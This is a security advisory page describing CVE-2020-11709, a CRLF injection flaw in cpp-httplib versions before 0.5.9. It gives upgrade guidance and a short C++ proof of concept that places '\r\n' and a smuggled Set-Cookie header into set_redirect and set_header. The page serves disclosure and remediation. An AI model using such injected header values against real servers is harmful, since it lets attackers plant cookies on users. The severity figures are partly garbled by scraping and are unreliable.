CRLF Injection Affecting yhirose/cpp-httplib package, versions [,0.5.9)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.64% (74th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-YHIROSECPPHTTPLIB-2366507
  • published26 Jan 2022
  • disclosed12 Apr 2020
  • creditshouc

Introduced: 12 Apr 2020

CVE-2020-11709  (opens in a new tab)
CWE-93  (opens in a new tab)

How to fix?

Upgrade yhirose/cpp-httplib to version 0.5.9 or higher.

Overview

Affected versions of this package are vulnerable to CRLF Injection due to not filtering \r\n in parameters passed into the set_redirect and set_header functions.

PoC

#include "cpp-httplib/httplib.h"
using namespace httplib;
int main() {
    Server svr;
    svr.Get("/1", [](const Request& req, Response& res) {
        res.set_redirect("1\r\nSet-Cookie: a=1");
    });
    svr.Get("/2", [](const Request& req, Response& res) {
        res.set_header("a", "1\r\nSet-Cookie: a=1");
    });
    svr.listen("localhost", 3000);
}

CVSS Base Scores

version 3.1